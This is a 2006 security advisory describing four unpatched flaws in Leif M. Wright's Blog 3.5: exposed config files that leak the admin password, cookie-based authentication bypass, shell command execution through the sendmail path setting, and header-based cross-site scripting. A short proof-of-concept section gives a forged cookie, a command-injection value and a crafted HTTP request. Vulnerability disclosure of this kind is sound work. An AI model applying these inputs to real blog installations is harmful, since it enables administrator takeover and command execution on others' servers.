Multiple flaws in Leif M. Wright Blog
Summary
- Vulnerability
- Multiple flaws in Leif M. Wright Blog
- Discovered
- 2006.02.15
- Last Update
- 2006.02.25 Exploitation code published
- ID
- EV0082
- CVE
- CVE-2006-0843 CVE-2006-0844 CVE-2006-0845 CVE-2006
- Risk Level
- high
- Type
- Multiple Vulnerabilities
- Status
- Unpatched. No reply from developer(s)
- Vendor
- n/a
- Vulnerable Software
- Leif M. Wright's Blog (http://leifwright.com/scripts/)
- Version
- 3.5
- PoC/Exploit
- Available
- Solution
- Not available
- Discovered by
- Aliaksandr Hartsuyeu (eVuln.com)
Description
Multiple Vulnerabilities found in Leif M. Wright's Blog (http://leifwright.com/scripts/) script.
1. Sensitive Information Disclosure and Authentication Bypass
All "txt" files isn't protected by htaccess(or any other ways) in default installiation. This can be used to retrieve administrator's password from config file.
2. Cookie Authentication Bypass
"blog.cgi" script dont make password comparisson when identifying administrator by cookie.
3. Shell Command Execution
Administrator has an ability to edit blog configuration including full path to sendmail program. This can be used to execute arbitrary shell commands.
System access is possible.
4. 'Referer' and 'User-Agent' Cross-Site Scripting
Environment variables HTTP_REFERER and HTTP_USER_AGENT are not properly sanitized. This can be used to post HTTP query with fake Referer or User-Agent values which may contain arbitrary html or script code. This code will be executed when administrator will open "Log" page.
PoC/Exploit
1. Sensitive Information Disclosure and Authentication Bypass
Url example:
http://[host]/cgi-bin/blog/blogconfig.txt
2. Cookie Authentication Bypass
Cookie: blogAdmin=true
3. Shell Command Execution
Sendmail: /bin/ls
4. 'Referer' and 'User-Agent' Cross-Site Scripting
GET /cgi-bin/blog/blog.cgi HTTP/1.0
Host: [host]
Referer: [XSS]
User-Agent: [XSS]
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
file=15-13.59.39.txt&year=2006&month=February&name=zz&comment=zzz&submit=Enter%20my%20comment
Solution.
Solution for "Multiple flaws in Leif M. Wright Blog" is not available. Check vendor's website for updates.